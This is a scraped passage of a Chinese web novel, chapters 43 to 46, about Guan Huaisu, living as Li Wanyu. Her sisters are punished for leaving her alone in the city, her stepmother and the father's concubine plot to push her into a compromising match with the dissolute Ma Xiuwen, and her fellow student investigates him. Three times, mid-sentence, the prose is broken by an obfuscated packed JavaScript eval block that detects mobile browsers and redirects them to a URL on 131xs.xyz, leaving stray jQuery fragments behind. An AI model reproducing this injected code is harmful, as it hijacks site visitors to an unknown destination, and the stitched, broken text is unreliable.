“噢哟,不娶就不娶,你叫这么大声做甚么!”宋夫人吓得一跳,没好气地说,“你不喜欢我给你二哥看看也好,这么好的人,有气度又不卑不亢,可是个做当家主母的好苗子。” 妈妈终于得了机会出去打探,没料到就是这么一耽搁,刚巧周乐天派去的随从返回叮嘱完,那妈妈什么都没打探到,此事就这么过去了。 关怀素倒是不知道身后还有这一场风波,她与程娘子手挽手逛了大半天,临别时程娘子拉着她的手连声叮嘱:“我过几日得闲了就给你家里下帖子,你到时候一定要来家里玩耍。” “是,姨母可一定要来请我,我在家中憋闷得很,难得有这样的好盼头!”关怀素反手握着程娘子的手,一叠声地撒娇着笑说。 她素来就是会哄人的,在祖父身上练就的功夫,拿来哄姨母程娘子更是不费吹灰之力。 程娘子一开始还担心她是随口说的,最近一直不敢上门真的打扰她,如今却彻底没了疑虑,她容光焕发,本想亲自送关怀素回家,却被关怀素拒绝了。 “我要自己租车回去,就不劳烦姨母了。”关怀素一笑,说,“毕竟今儿我可是被人特地丢在街上,这事儿可不能就这么算了。” 程娘子也才想起来今儿遇到关怀素是这个原因,她看着关怀素笃定的表情,叹了口气,说:“看你这个样子,显然心里是有数了。我早就知道你这孩子与你阿娘一样聪明,若不是心底重情,怎能一直被欺负成那样?你如今看着比以前性子刚强多了,姨母这也就放心了。” 程娘子握住关怀素的手,认真地说:“只一件事你记着,不管你想怎么办,只管去办,若是闹得狠了,你爹还是偏袒那小妇养的,你只管来找姨母!” “哎,我知道了。”关怀素看着姨母的脸,心中温暖,点头答应下来,这才与姨母道别,转身上了临时租的驴车。 关怀素驱赶着牛车优哉游哉地回家。 到这时,日头已经西斜,早已经到了快傍晚时分了。 等到李家的时候,家里正乱成了一团糟。 第四十三章 受罚 驴车到家里的时候,管家李福正在集结所有小厮寻人。 “哎哟,大姑娘回来了!快去告诉老爷,说大姑娘自己租车回来了!”见关怀素回来,管家喜不自胜,连忙喊人去报信,转身又给关怀素行礼,连声说:“大姑娘可算回来了,老爷急得差点要亲自去找人了!” “劳烦大家担心了,我第一次出门,竟是迷路了,最后多亏找到了商行,租到了车,总算折腾回来了。”关怀素温声对管家说。 她回家之前倒腾了一下,此刻李福就看着大姑娘虽然面上看着镇定,但是脸上没什么血色不说,钗环也微微发乱,显然曾十分疲惫焦急,看着余惊未消的样子。 也是,李家这几个姑娘,平素除了去友人家中交际,其他地方极少踏足,哪里曾在闹市之中被丢下过? 这番大姑娘只怕是真的被吓得不轻。 李福眼带怜悯,带着关怀素一路进屋,屋里头李珺沉着脸,孙大娘子与崔小娘也坐在旁边,下面婉蓉与婉淑都跪在地上,脸上都带着泪水。 “老爷,大姑娘回来了,看着是受了惊吓。”李福上前悄悄说,李珺肉眼可见地松了口气。 关怀素就是这个时候进门的,她进来之后看着李珺叠手行礼,温声请安赔罪:“婉玉回来晚了,劳父亲担心了,是女儿不孝。” “大姐姐,我们不是给你留信让你在香坊里等着吗?我们还给了掌柜的银钱让他好生照顾一下你,你怎么自己到处乱跑啊?!”本来也吓得在哭的婉蓉一看到关怀素进来,顿时眼前一亮,立刻反而先出口控诉,哭着说,“大姐姐你可吓死我们了!” 明明是她先想吓人,要知道这是关怀素,所以被丢在外头她一点也没事,反而可以带着柳叶玩耍办事。 可是若是真的换成养在深闺、从未单独出门过的姐姐,是真的会被吓哭的。 关怀素想到这里,心中暗暗冷笑,面上却只安静地站着,并不为自己分辩。 婉蓉见此愈发得意,连声说:“大姐姐,你是不是生气二哥哥先送我们不理你?就算是这样,你也不能拿你自己的安危开玩笑啊……” “够了!”李珺看关怀素进来的样子,就知道今儿这个大女儿是真的被吓到了。 这个大女儿性子最为温柔内向,李珺一向是知道的,这会儿见她饱受惊吓反而只咬牙忍着行礼,明明受委屈却不敢反驳妹妹的话。 李珺一直忙忙碌碌、从不曾注意到这个大女儿的心,都被刺痛了一下。 若是换成婉蓉和婉淑,这会子只怕要又哭又喊,抱着阿娘和他撒娇了。 可是婉玉没有。 也许是习惯了自小没有阿娘,母亲心中尤有昔日芥蒂,对婉玉也一直不冷不热,自己也一直忙于公事……于是等到此刻,李珺才猛然反应过来,这个大女儿似乎已经成为习惯默默忍耐一切的性子了。 此刻面对婉蓉的指责,她沉默着,居然也不为自己分辩,像是知道自己说话也没用一样。 这样的姿态深深地刺痛了李珺,他猛地心中生出一股强烈的负疚感来,拍桌对着婉蓉大吼:“你住嘴!” 李珺指着婉蓉,心中那股子愤怒压都压不下去,怒声指着她叱骂:“你往日性子骄纵,总惹你大姐姐也就算了,如今益发地不像话了,竟把你大姐姐丢在大街上!” “父亲,蓉儿是因为头痛,不是故意的……”婉蓉长这么大也是第一次看到父亲如此震怒,顿时吓到了,讷讷地说话。 “你闭嘴!”李珺怒斥,“你头痛,回来和无事人一样地玩耍?你到现在还想撒谎,李福,去请家法出来!给我打!” 李珺这回是动了真火,京师如今虽然歌舞升平,但是不怕一万就怕万一,婉玉又不是自小野惯了的那帮武将家的女儿,她从未自己单独出过门,若是真出了什么事情,那真是后悔都来不及。 想到这里,他又指着婉淑说:“你二姐姐说头疼要先走,你也不拦着点,一家姐妹一起出门,便是等那一会儿都等不得?也给我打!” 婉淑心中看得出父亲是真火了,她和婉蓉不一样,懂得分辨形势,便立刻哭着说:“父亲说的是,二姐催得太狠,我一时心中没了主意,我再怎么也应当留下,大不了和大姐姐一起在香坊等待呢?好歹有人陪着,也让大姐姐不至于吓到了满城乱走……” 这才是真正的厉害角色,都这个时候了,借着认错还在暗暗提醒大家,这事儿都怪关怀素乱走,若是她傻傻地等一个时辰,这事儿自然也不会发生了。 关怀素心中也不由得为婉淑的反应击掌。 果然,震怒的李珺犹豫了一下。 这样子显然是觉得婉淑可怜,确实是无妄之灾,毕竟她是年纪最小的,按道理来说确实不该怪她。 加之关怀素若是不乱跑,这事儿原本也确实没那么严重,婉淑年纪小未曾考虑周全,显然大家都觉得情有可原。 孙大娘子脸上的表情都已经松缓下来,攥着帕子的手都松了一下。 关怀素看准时机,这才轻声苦笑着开口,轻声说:“三妹妹说的是,只是香坊来来去去都是人,都要试香买香,我站在那屋子里,实在是如坐针毡……本想在门外等待,却没想到外头人来人往,我想寻个僻静地方,再托香坊掌柜给你们留个口信,偏走几步就迷路了……” “一人十板子!晚上都给我跪在小祠堂里好好反省!”关怀素这一说,李珺立刻冷声说。 婆子也不犹豫,立刻上前,婉淑和婉蓉都伸出手,“啪”地一板子打在手心里,两人白嫩的手掌顿时就开始泛红。 “老爷,她们明儿还得去赵家念书呢!”崔小娘和孙大娘子都坐不住了,崔小娘还没开口,孙大娘子就忍不住着急地开口了。 “是啊老爷,这板子打狠了,明儿上课握不住笔可怎么办啊?”崔小娘难得与孙大娘子统一阵线,也着急地劝。 李珺冷着脸,看着婉蓉与婉淑受罚。 板子打到第五下,婉蓉就开始哭起来,一声一声的,听得崔小娘帕子都攥紧了。 婉淑本来还想忍,但是听到婉蓉哭得厉害,嘴巴一扁,到底也没忍住,也跟着啪嗒啪嗒地一直流泪。 可一贯宠爱她们的李珺这回却硬生生硬下心肠,看着她们挨打,直到打满了足足十板子,李珺才冷声说:“去,都给我跪小祠堂里头去!” 又看着崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李珺闻言,转过头来,眼圈发红看着自己这个女儿,到底是忍不住鼻子发酸,哑声说:“我的玉儿……这些年,苦了你了。” 关怀素被父亲拉着手轻拍安慰,瞬间流下泪来。 一直不知为何有些生疏的父女二人竟是对着哭了一场,直到丫鬟进来换茶,才勉强收住了泪水。 二人哭完,看着对方,不由自主却又一起笑了出来。 “玉儿,这些年爹爹不曾看顾好你,日后受了委屈,记得来找爹爹。”李珺温声说。 “我知道了,爹爹。”关怀素擦着眼泪,轻声说。 李珺哭完,心中觉得与这个大女儿亲密不少,父女二人闲谈起来,发现婉玉居然言谈之中十分言之有物,与一贯看着聪慧的婉淑相比,竟还更加聪慧博学许多。 颇有她母亲当年的风采。 李珺本就是爱才的性子,越是如此,他心中益发对这个大女儿满意,拉着关怀素说话,竟是直接又用茶吃点心,聊到就寝前夕,才回过神来,让她早些休息。 父女二人在此说话谈心,一时之间亲近很多。 但是关怀素却不知道,那边刘嬷嬷正在与赵夫人说起她。 第四十四章 谋划 “嬷嬷,白芷学得如何我知道了,便烦请您帮我瞧瞧,李家三个姑娘看着如何吧?”赵夫人放下茶杯,亲自推了一个红封在刘嬷嬷面前,笑着问。 香道是最能看出人性子的,赵家辛苦搭上了远房亲戚的名义,才请了刘嬷嬷从宫里出来教导白芷,之所以答应让李家三个姑娘都跟着沾光,无非也是看在自家二儿媳要出自李家的这层情面上。 要赵夫人来说,虽不是挑长媳,但是对于李家,出身大家的赵夫人其实也颇有些看不上。 实在是李家的根基太浅薄了一些,若是关娘子还在的时候,那自然不必说,只怕满京师的人都要追着求娶李家三个女儿。 可问题是关素问死的早,李珺续弦身份实在是太低了些,家中几个女儿又并未认真教养,叫赵夫人来说,那妾室所出的二女儿虽漂亮,但是行事举止轻佻,她第一个看不上眼,大女儿虽是关家血脉,但是一点也没母亲昔日气度,反而畏畏缩缩,她也看不上。 那个嫡次女婉淑,虽不怎么出彩,样貌也一般,但是胜在还有几分稳重,只怕也只能选她了。 可老二乃是太子身边最得脸的伴读,日后说不得造化比大哥更甚也不一定,这样好的儿子,在赵夫人看起来,怎么也该从娘家找个贵女亲上加亲才是,奈何相公却铁了心要从李家选。 三个矬子也选不出一个将军,反倒叫赵夫人想到一次气一次。 想到这里,赵夫人心下就叹了口气,心想自己也是难为刘嬷嬷。 却没想到刘嬷嬷却说:“夫人,我观三位李家姑娘,二姑娘心气浮躁了些,三姑娘不甚出色,倒是大姑娘心思敏捷、品味高雅,与白芷天分相当。” 赵夫人顿时就一愣,她完全没想到刘嬷嬷的答案居然是这样的。 “你说的可是真的?与白芷差不多?”赵夫人坐直了身子,惊讶地问。 赵白芷是她亲生,又是自小教导,赵夫人不是王婆卖瓜,她心里十分清楚,她家白芷便是皇子妃也做得,且未来说不得就是宫中的皇妃娘娘——他们费尽心思请来这刘嬷嬷,其实为的也就是给赵白芷的那个未来铺路。 赵白芷几乎是举合族之力培养的大家闺秀,因此赵夫人听刘嬷嬷居然拿李婉玉与自家女儿比,第一反应是不信。 但是刘嬷嬷无需拿这种事情欺瞒她,便把调香的事情说了,然后说:“香道便是人之道,李大姑娘性子聪慧却又沉稳,其性情坚毅却不孤高,确实与三姑娘不分上下。” 赵夫人沉思了一下,才恍然大悟。她激动地拿帕子拍手,说:“到底是关家后人,想是一直装傻,到了婚配时候才显出自己来,怕被耽误了!” 赵夫人久在后宅浸淫,李家后宅别人看不明白,她却是看得分明,不免多想了一层,觉得自己只怕是误打误撞发现了真相。 想到这里,赵夫人连声嘱托刘嬷嬷帮忙观察,等人走了,才对身边伺候的妈妈说:“若她真是个好的,便选她给二郎也不错,嫁过来之后,我再慢慢教就是。” “若是如此,那可是婉玉姑娘一辈子的好福气呢。”身边的老妈妈跟着凑趣地笑着说话,哄得赵夫人脑海之中已经想到了可爱聪慧的孙子孙女,笑得压都压不住。 “就是可惜,老大那时候定亲太早了,若是老大媳妇选的门第再高些,如今也不用委屈铭儿了。”赵夫人轻叹一声,心中还是有些遗憾的。 当初给老大定亲的时候,她娘家刚好在走下坡路,家里子弟眼见着没有成器的,最后娶的也就是夫君同僚之女。 大儿媳虽然性格温厚,管家也十分有条理,但是到底不是自家娘家的孩子,没那么亲热贴心,确实也是赵夫人心中的遗憾。 再则如今赵家水涨船高,夫君已经到了三品,亲家还是五品,这不免就让老大也缺了一点岳家支撑,到头来到底是只能谋了外放,这一去三年多没有音讯,又是赵夫人心中的另一遗憾。 只是这会儿说起来是这么说,但是当初谁又知道后来事呢? 因此虽然心中遗憾,赵夫人也只能私下感慨一番,只祈祷这回可千万要选个顶好的人给二儿子。 “身份又不能高过松儿媳妇,又要撑得住场面,日后还得会交际……哎……”赵夫人想着这两个孩子之间左右平衡,忍不住嘴上念叨起来。 “哎哟,娘子这话要是出去说,没得让人说你轻狂,咱家两个小郎君,一个自小就陪着太子爷读书,一个自己考学为官,平常人家有一个麒麟儿已经欢喜的不成,娘子倒是在这里头痛起来了。”身边的老妈妈是得脸的,这会儿听到赵夫人这么说,忍不住开口打趣起来。 赵夫人一想也是,自己也笑了,轻声说:“行了,我这不是替铭儿担心么!只盼望那李婉玉是真的得了一些关家的教导,那我就什么也不用担心了。” 赵夫人那边说私房话,全然不知道,另一处也有人在议论她心中选中的儿媳。 “你说什么,今儿李大姑娘派人送的?”周乐天白日才**到关怀素与姨母说话,晚上就听说关怀素送了东西过来。 他疑惑地问着,手里接过信封,打开就看到了满纸婉约娟秀的字迹,仔细一看,竟是药膳方子,除此之外,还有一些吃药时候要注意的事项。 “哎哟,爷这几日不是说那药吃完哪里都好,就是嘴巴发苦、不思饮食么?”来福一看,顿时乐了,说,“姑娘竟连这些都想到了,真是太好了!” “这是什么时候送来的?”周乐天问管家。 “昨儿送来的,和药方一样,郎中都查过没问题,便赶紧送过来了。”管家躬身回答。 周乐天看了看字迹,咬了咬唇,皱眉看着药方。 “爷,怎么了?”来福看他神色有异,便迟疑地问,“可有什么不妥?” 周乐天心中觉得诡异,他轻声说:“我上回看药方就有点奇怪,去年李大姑娘的字,与今年的形意差别有些大。” 他曾在诗会的时候见过李家大姑娘的字,极为娟秀小巧,中规中矩。 可如今这字虽看着一模一样,但是勾画转折之处,如果认真细细辨认,还是有压不住的潇洒狂放之气。 字如其人,是最能瞧出人的真实性子的,这李大姑娘的字虽极力模仿之前的样子,可细看就像是换了个人一般。 周乐天看了一会儿,又松了眉头,轻声说,“许是经历过大事,心性有所改变的关系,字自然也更刚刃写意。” 来福不懂字,他看了又看,实在是看不出任何差别。 周乐天宽慰完自己,心中却又还是觉得隐约的哪里不对劲。 想着想着,周乐天突然一个激灵! 他对声音很敏锐,只要他听过的人,就很容易分辨出声音的主人。 就像是隔着墙壁都能确认流云台寺那个姑娘是李婉玉,知道珍宝楼与姨母说话的姑娘也是李婉玉一般,这是周乐天天生的本事。 所以哪怕与李大姑娘曾相见极少,甚至只听过李婉玉在太子面前请罪时说的短短几句话,但是周乐天还是敏锐地察觉到了,李大姑娘说话的习惯也变了。 不是语调的变化,而是气息与说话的方式,就如他和来福说的,如今李婉玉说话之前,都会轻轻地压一下气,这是长年累月的习惯,一般人根本注意不到这种细节。 而这种积年累月的习惯,李婉玉之前请罪时绝对没有。 听说她在庄子上过得很是凄惨,被下人欺负,庄子上还有民乱,最后也是她解决的。 许是经历太多,仿佛小死一次,所以字形意变了,小习惯也变了吧? 周乐天想到这里,心中黯然,心想:“也是,连我都变的只能握笔,想来她也是差不多。” 于是在真相的门口兜了一圈,周乐天到底就这么擦肩而过。 而李家还未曾安静,大晚上的,婉蓉和婉淑都在跪小祠堂。 小祠堂素来除了洒扫供香再无人来,加上烛火憧憧上头皆是牌位,不免益发显得整个屋子鬼气森森,吓得婉蓉和婉淑一进门就打了几个寒噤。 两人皆是自小养尊处优,进门的时候还在互相斗气,婉淑责怪婉蓉故意闹头疼回来想吓唬大姐姐,才闹得二人受罚。 婉蓉则是气骂婉淑,说婉淑不也跟着自己一起跑了,有本事怎么不留在原地陪着大姐姐? 吵着架进了小祠堂,丫鬟婆子们一出去,两人顿时吓得收声了。 等到几阵阴寒的穿堂风过去,两人已经吓得抱在了一起。 孙大娘子和崔小娘带着人来的时候,两人看到阿娘,顿时像是找到了主心骨一样,推开对方就投入了阿娘的怀里。 “快,把衣裳披上。”崔小娘与孙大娘子飞快地把厚袄子抖开,给衣衫单薄的二人穿上,然后又留下了垫的厚厚的蒲团与毛绒外披,最后才依依不舍地离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183320|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。 两人脸上都带着对女儿受苦的心疼。 “可怜我蓉儿,还有三姑娘,从小生下来就金尊玉贵的,从未受过这种苦。”一出门,崔小娘罕见地主动与孙大娘子搭话。 孙大娘子心里也火烧着呢,只是面上却带着笑,温声说:“也是她们做妹妹的忘了照顾大姐姐,失了礼数。” “长幼有序,说破天也该是大的照顾小的,到了咱家倒是反过来了!”崔小娘见孙大娘子虽不接茬,但是神色之中却有压不住的怒意,便凑上前去,轻声说:“大娘子,翻年二月底就是婉淑的生辰了吧?” 孙大娘子疑惑地看崔小娘,不明白她话怎地转到了这里。 “咱家大姑娘还有两个月就要及笄,说起来也确实该定亲事了,听说大娘子给大姑娘相看了好人家?”崔小娘用一种说闲话的语气笑着说。 孙大娘子心中大概明白了崔小娘的意思,想是也烦这个搅家精在家里。 这一刻,崔小娘与她的利益是一致的,孙大娘子便神色一缓,温声带着些苦恼说:“是说了,还是滁州刺史家的唯一嫡子,但是婉玉看着似乎还是有些看不上。” 崔小娘心中翻了个白眼,心想那不是明摆着的事情,这边是太子伴读、京师三品府邸里的赵二郎,英俊潇洒又知根知底,另一边说着好听,但是滁州天南海北的,嫁出去还不知道这辈子能不能回京,二者相比,她也想把婉蓉嫁在京师面前呢。 但是崔小娘这会子也不是为了关怀素抱不平的,因此眼珠一转,便又更压低声音,轻声说:“听说马公子样貌不错,许是让他们小孩子家家稍微多见面一下,赏个花、散散步……多接触一下,大姑娘许就回心转意了呢?” 这话说得虽然有些奔放大胆,但若是遍请好友与亲人,**一堆闺秀与儿郎,再让马公子自己多靠过去献献殷勤,也不出格。 且说的难听些,又不是自个儿肚子里出来的,若二人私下接触不懂分寸,被人拿住把柄,真闹出什么风言风语,那正好顺水推舟把人嫁过去就是,正好家里清净。 想到这里,孙大娘子便明白崔小娘的意思,觉得不愧是这狐媚子,想的真是阴毒又好用,便点头说:“还是妹妹聪慧。” 两人像是随口在聊天,但是谈笑之中,心中自有默契。 二人说完就分道扬镳,没注意角落值夜婆子眼睛发亮听完全部,等到二人一走,提着扫帚就去了关怀素院子里。 “缺德丧良心的!”丁妈妈得了消息,立刻回禀关怀素,怒声说,“人多眼杂的,她们绝非想办宴会这么简单,这是想害死姑娘啊!” 关怀素在屋里擦脸呢,听到这消息脸色立刻沉了下来。 孙萍与崔妙人如此轻松,三言两语就想决定姐姐的未来。 仿佛在对待什么蝼蚁一般。 “赏那妈妈钱。”关怀素冷声说,“妈妈你晚上叫一桌席面,好好请那妈妈吃一顿,让人家看看,帮我办事自有好处。” “哎。”丁妈妈立刻答应下来,又压低声音破口大骂,“一个丧了良心的**,一个没良心的后娘!都是什么缺德玩意儿!姑娘,咱们怎么办?我看老爷还是心疼姑娘的,不如去求求老爷?” “李大人若是真这么心疼女儿,哪里有之前发霉的棉被和被下人欺负的日子?”关怀素环顾周围,方才与李珺痛哭的样子像是幻觉一般。她眼神发冷,轻声说,“妈妈,这高床软枕、绸缎香笼,不是因为李大人的良心,是因为我自己的本事。求他,没有用。” “就是。”柳叶也点头,说,“要不是他怕苛待姑娘的事情传的满京皆知,哪里会在乎咱们的死活?” “那咱们怎么办啊?”丁妈妈焦急地说,“难道姑娘便就这么嫁去滁州?” “当然不行。”关怀素轻声说,“上回让跛三去查的事情,查得如何了?” “跛三叫了两个干练人去庄子上,查陈妈妈那女儿了。”丁妈妈闻言立刻说,“前日说是有眉目了,算算日子,也就这两天该回来了。” “好。等他们回来,即刻让他们去查一查马修文的底细。”关怀素冷声说,“那马修文举止轻浮放浪,马夫人又行为古怪,我次次冒犯,她却不以为忤,只想着推进婚事,此事绝对有古怪。” 柳叶也点头,说:“真有那么好,她怎会便宜咱们!” 如此安排好,关怀素便安置了。 第四十五章 布局 婉蓉与婉淑在祠堂过了一夜,第二天双双说是风寒病倒,第二日关怀素自己一个人去上学。 下学后关怀素要去流云台寺祭亡母,就托赵白芷把这两日上课的内容记下来,自己回来好跟上进度。 “这倒是不费事,只是我听哥哥说,昨儿婉蓉妹妹说是头痛,哥哥竟带着她们先回去了,我把哥哥好好骂了一顿,又跟母亲说了,母亲昨儿罚哥哥抄了一晚上的书。”赵白芷拉着关怀素,脸上都是担心,上下看着关怀素说,“昨儿姐姐可好,可吓到了?” 关怀素笑了一下,不知为何想吓吓这个总是端庄温柔、滴水不漏的姑娘,于是故意压低声音对她说:“我昨儿趁机玩了一下午,你不知道,咱京师里铺面可真多!” 赵白芷吓得眼睛都瞪圆了,关怀素“噗嗤”一声笑出声来,然后才说:“哎呀,白芷妹妹不会从未出去玩耍过吧?” “哥哥与爹娘带着的时候,我也曾出去玩过的。”赵白芷看她笑得眼睛都弯起来,不知为何也起了一点较劲一般的胜负心,说了一句。 “那你可知道那八宝楼里的烤鸭?极是美味呢!”关怀素听她这么说,立刻便想到昨日与姨母一起吃的美食,起了谈兴,说,“那鸭子烤的皮脆肉嫩,一刀破开里面还有肉汁流出,鸭皮沾一点糖,又脆又香甜,里面的鸭肉拿黄豆酱裹一下下口,肥嫩咸鲜……哎呀呀,真的是美味至极!” 赵白芷家里就有大厨,烤鸭不知吃过多少次,但是被关怀素这么一说,竟觉得馋得口舌生津。 因此在关怀素说“不如等我后日回来,咱们上完课一起再去吃?”的时候,赵白芷猛地点了一下头。 但是她立刻意识到自己冲动了,又摇了摇头,轻声说:“多谢婉玉姐姐好意,但是我事情多,等二哥有空时,我让他给我带些试试就好了。” 说完她犹豫了一下,到底还是有些担心关怀素,温声叮嘱了一句:“婉玉姐姐如今看着开心多了,让人看着也欢喜。只是咱们女儿家立身于世,到底不如男子惬意,姐姐偶尔玩耍一回也就是了,日后还是当小心为上。” 关怀素知道她是好意,但是心中到底是想到那日她颤抖着声音问小侯爷话时候,那时候的赵白芷虽颤抖且狼狈,但是她的声音里带着一股孤注一掷的生命力。 眼前这个姑娘虽然端庄美丽、温柔大方,但是太完美了,完美的像是一潭水一般,明明年少,却泛着沉沉暮霭之气。 但是这就不是关怀素一个外人能置喙的事情了,因此她只对赵白芷道谢,而后转身回家。 赵白芷目送她离开,转身才发现刘嬷嬷竟然站在身后,立刻惊讶了一下转头行礼。 “姑娘不必多礼,”刘嬷嬷笑着扶起她,温声说,“夫人让我来请姑娘,今儿开始,下午老身会带着姑娘一起学习打点宫中事务,晚间再学抚琴一个时辰、听琴一个时辰。” 赵白芷的神色黯淡下来,除了所有高门贵女必须学的技艺之外,这是她私下要学的东西,而她之所以要学这些,是为了什么,赵白芷知道的清清楚楚。 她回头看关怀素离开的方向,心中涌起淡淡的不甘心来。 但是那只是很短暂的一瞬间,最终赵白芷还是转身,温柔地笑着说:“好,劳烦嬷嬷了。” 她转身,往赵家大宅的主屋之中走去,姿态优雅高贵,像是完美的仕女图一般。 而身后,关怀素与她分道扬镳,转身匆匆回家,就忙着打点行囊,打算上山进香。 第二日一大早,关怀素到了流云台寺,私下见钟妈妈与师兄。 这回见面,钟妈妈的气色好了不少。 “姑娘,东西做成了,如今已经开始产了第一批布料!”钟妈妈指着厢房床上摆着的布料说。 关怀素走过去看,摸了摸说:“这些料子似乎稍微硬一些。” “是,那机器做出来后,缠的棉线更紧些,做出的布料稍微硬实一点。”孙文书点头,说,“但是不打紧,我们试过了,这样更耐磨,反而是好事。” 钟妈妈点头,兴奋地说:“而且纺线速度快许多,我估摸着每月能产布匹三四百匹。” “这么多!”关怀素都惊了一下。 毕竟一匹布料,若是妇人家务之余织出来,最少也得一月左右。 “我们雇了人纺线,只把棉线给周围妇人拿回去做,一匹布,勤快些加班加点地做,三四日也尽够了,若是家中事务繁杂,七八日也能成一匹。”孙文书颔首,高兴地说,“纺线时间少了如此多,自然产量大。” 如今棉布价钱比丝缎稍微便宜一些,一匹中上等丝缎是三两左右,棉布大概一两五十钱,关怀素稍微算了下,便知道这生意一月至少可以赚个两三百两银子。 “这便好了,可算是解了我们的燃眉之急!”关怀素还没说话,旁边听着的柳叶就开心地连声说。 “姑娘缺钱了?”钟妈妈一听顿时着急了,连问怎么回事,柳叶便把最近在家里的花用全部竹筒倒豆子地说了一遍。 “大姑娘院子一应支出竟都是自己出的?”钟妈妈一听,顿时气得脑袋冒烟。 “妈妈别生气,我猜想,这是孙萍故意用这种方式拿捏我呢。”关怀素笑了笑,温声说,“我不接招,暗地里憋屈的只能是她。” “姑娘心里有想法?”钟妈妈养她长大,知道她不是暗吃亏的性子,便立刻问。 “当然。”关怀素颔首,笑着说,“妈妈只管放心。” 钟妈妈这才放下心来,郑重地说:“钱的事情,姑娘只管放心,京师开支虽大,也不至于叫姑娘束手束脚。” 柳叶在旁边等了半天,说:“钱倒不算大事,只是憋屈,就是那姓孙的想给姑娘说亲事。” 说完把马修文的事情说了,孙文书闻言勃然大怒,说:“师妹,此人既然能当面就叫你看出来性子轻浮放浪,定不是个好的,李家欺人太甚!” 又说:“师妹,你那下人能查到什么,不过是外头的消息,你等着,我去问问京师故旧,定能查清楚此人底细!” 关怀素闻言,也觉得好,便颔首答应下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183321|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此事情都安排好,祭拜了亡母,关怀素第二日一早便赶回京上学。 回京师的路上,才到城门口,却突然听到大地震颤的密集马蹄声。 “西北军回城!闲杂人等让路!”一声女子厉喝之中,马车移动,丁妈妈没一会在车窗外回话,“姑娘,得等一会子了,外头说西北军回京述职,现在刚好到门口,如今太子殿下亲自在城楼前头等着接人呢!” “西北军,是长公主的那支军队吗?!”关怀素一听,顿时眼睛一亮! 长公主是本朝传奇人物,她乃是马上将军,与先帝一起开拓本朝盛世,被先帝封为安国长公主,后来又加封武安君,都是实打实的武勋。 对于这样的奇女子,关怀素十分崇拜,闻言眼睛发亮,悄然打开帘子,往不远处城门口望去。 在一列禁军驻扎之中,百姓们被阻拦在外头,关怀素远远地看到一个明黄身影站在城门口,而更远处,两百多骑兵列成一队,全身明光甲胄,奔袭而来! 那队骑兵速度极快,仿佛闪电一般,上一刻还在远处,下一刻却已经到了近前。 到了近前才看清楚,这一堆居然大多是女将,全数脸颊起了晒红、肤色如麦,神色坚毅,风尘仆仆。 而当先那四十出头的将军一身明光铠,腰佩长刀,腰带上缠着白布为腰带,骑着一匹通身无杂色的黑马,到了城门口太子面前肋马人立而起,马匹堪堪停在太子跟前。 她面对太子,竟不下马,反而豪迈一笑,对着太子大声说:“阿钰,十年不见了!” 太子脸上露出一个罕见的喜悦笑容,拱手行礼:“姑姑,十年不见,您依然如此英姿飒爽!” 大长公主发出大笑,拿马鞭指着身后,说:“去,挑一匹马,与我出城跑一圈!” 太子竟也不拒绝,上前选中一匹马,马上的偏将立刻跃下,太子翻身上马,与大长公主疾驰而出! 身后骑兵与迎接的内卫们为这突如其来的变故吓得半死,立刻齐齐跟上,一路卷起烟尘滚滚。 两位大人物与他们的手下全数离开,城门口的队伍又开始排起来,让众人进城。 “做女子,还是当如大长公主,多潇洒自在。”夜里,关怀素洗漱完毕,忍不住悄悄对柳叶说。 柳叶也露出向往神色,说:“等姑娘把此间事了了,咱们也继续游学去。” 关怀素被柳叶说的心神向往,又有些奇怪地说:“柳叶,今儿小侯爷也在城门口,大长公主却看都没看他一眼呢,你发现没?” 柳叶完全没注意,她茫然地说:“许是回去才顾得上呢?” 关怀素便觉得是自己想多了。 其后是连轴转地上课,等到她们十日一休的时候,孙大娘子突然说,刚巧后日是她的生辰,她打算请几家相熟的亲戚来家里吃酒。 也就是在这个时候,两拨人马先后到了。 第一个便是师兄孙文书。 且一直君子端方、老成持重的孙文书,这回简直是怒发冲冠! 第四十六章 怒斥大娘子 孙文书担心师妹吃亏,流云台寺一别,第二日就悄然拜访了一位旧友。 老友见面格外亲热,此人听说孙文书要打听这人,立刻叫下人打听对方在哪里,说:“我平素不爱与人交际,也不知如何,不如你自去观察一番?” 此话刚合孙文书的意思,于是二人欣然前往。 结果差点听了一场现场版的活春宫! 那马修文简直是骇人至极,白日宣淫也就算了,竟还是在人来人往的酒楼之中,孙文书一辈子循规蹈矩,从未见过如此离谱之人,当场就又羞又怒,还没说话,便听马修文喘着粗气说:“还是你好,等我们回滁州,我立刻从母亲身边把你要过来,收你做第五房!” 这人竟是还没成婚,便已经有了四房姨娘?! 孙文书意识到这一点时,已经是十分震惊,可没等他回过神,便听隔壁传来女子嬉笑的柔腻声音,拉长了语调娇媚地说:“那香姨娘会不会生气啊?” “她有什么好生气的?”马修文声音猥琐,说,“她都有了大哥儿了,日后大娘子进门也欺负不了她,难道连老子裤腰带还要管?” 